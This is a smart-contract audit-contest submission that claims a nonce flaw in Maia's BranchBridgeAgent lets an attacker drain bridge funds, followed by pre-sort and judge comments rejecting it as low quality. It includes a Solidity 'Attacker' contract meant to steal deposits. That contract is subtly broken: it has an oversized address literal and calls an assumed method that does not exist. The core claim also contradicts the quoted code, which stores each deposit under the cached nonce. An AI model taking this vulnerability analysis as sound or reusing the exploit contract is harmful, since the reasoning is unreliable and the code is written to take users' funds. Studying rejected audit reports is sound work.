Attacker can exploit nonce misplacement to drain the port

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L821

Vulnerability details

Impact

In the smart contract code provided, there exists a notable logical flaw where the Nonce value in payload and getDeposit fails to align. This flaw can be taken advantage of by a malicious entity by making two sequential deposits (for instance, a larger sum followed by a smaller sum), and intentionally causing the deposit with the lesser amount to fail. Due to the discrepancy between getDeposit[depositNonce] and getDeposit[depositNonce + 1], the malicious entity could redeem the larger sum on the branch chain, despite having already acquired the corresponding tokens on the root chain. This act of exploitation could lead to the theft of funds and result in the insolvency of the smart contract.

Proof of Concept

Outlined below are segments of the code and relevant functions that demonstrate the impact:

Function callOutAndBridge

    function callOutAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams
    ) external payable override lock {
        // Cache Deposit Nonce
        uint32 _depositNonce = depositNonce;

        // ... (code omitted for brevity)

        // Initiate Deposit and Dispatch Cross-Chain request
        _createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

        // ...
    }

Function _createDeposit

    function _createDeposit(
        uint32 _depositNonce,
        address payable _refundee,
        address _hToken,
        address _token,
        uint256 _amount,
        uint256 _deposit
    ) internal {
        // Increment Deposit Nonce
        depositNonce = _depositNonce + 1;

        // ... (code omitted for brevity)

        // Record deposit to storage
        Deposit storage deposit = getDeposit[_depositNonce];
        deposit.owner = _refundee;

        // ...
    }

Function redeemDeposit

    function redeemDeposit(uint32 _depositNonce) external override lock {
        // Reference storage
        Deposit storage deposit = getDeposit[_depositNonce];

        // Validate Deposit
        // ... (code omitted for brevity)

        // Erase Failed Deposit Token Information
        delete getDeposit[_depositNonce];
    }

In the _createDeposit function, the depositNonce is augmented by 1 prior to the storage of the deposit, whereas it should have been incremented post the storage of the deposit.

    pragma solidity ^0.8.0;

    import "./TargetContractInterface.sol";  // Assuming the target contract is imported as TargetContractInterface

    contract Attacker {
        TargetContractInterface targetContract;
        constructor(address _targetContractAddress) {
            targetContract = TargetContractInterface(_targetContractAddress);
        }

        function executeAttack(
            address payable _refundee,
            bytes calldata _params,
            GasParams calldata _gParamsOne,
            GasParams calldata _gParamsTwo
        ) external {
            // Step 1: Invoke callOutSignedAndBridgeMultiple with 1 ETH and _hasFallbackToggled as true
            DepositMultipleInput memory dParams1 = DepositMultipleInput({
                amount: 1 ether,
                token: address(0x1234567890abcdef1234567890abcdef12345678),  // Hypothetical token address
                deposit: 1 ether,
                hToken: address(0xabcdefabcdefabcdefabcdefabcdefabcdefabcdefab)  // Hypothetical hToken address
            });
            targetContract.callOutSignedAndBridgeMultiple(
                _refundee,
                _params,
                dParams1,
                _gParamsOne,
                true
            );

            // Step 2: Repeat step 1 with 100 ETH and _gParams as zero to cause the transaction to fail
            DepositMultipleInput memory dParams100 = DepositMultipleInput({
                amount: 100 ether,
                token: address(0x1234567890abcdef1234567890abcdef12345678),  // Hypothetical token address
                deposit: 100 ether,
                hToken: address(0xabcdefabcdefabcdefabcdefabcdefabcdefabcdefab)  // Hypothetical hToken address
            });
            targetContract.callOutSignedAndBridgeMultiple(
                _refundee,
                _params,
                dParams100,
                _gParamsTwo,
                true
            );

            // Step 3: Invoke redeemDeposit
            uint32 depositNonce = targetContract.retrieveLatestDepositNonce();  // Assuming a method exists to retrieve the latest deposit nonce
            targetContract.redeemDeposit(depositNonce);
        }
    }

Recommended Mitigation Steps

In order to address the identified issues, it is advised to relocate the statement depositNonce = _depositNonce + 1; to the conclusion of the _createDeposit function. This adjustment ensures that the depositNonce is incremented accurately after the deposit has been stored, thereby resolving the Nonce mismatch issue between payload and getDeposit.

Moreover, a similar issue was observed with the settlement nonce, and it's suggested to implement the same remedial measure to rectify the issue.

Assessed type

Rug-Pull

[c4-pre-sort]

0xA5DF marked the issue as low quality report

[0xA5DF]

In the _createDeposit function, the depositNonce is augmented by 1 prior to the storage of the deposit, whereas it should have been incremented post the storage of the deposit.

Why? Any evidence that it causes any issues to the protocol?

[c4-judge]

alcueca marked the issue as unsatisfactory: Insufficient quality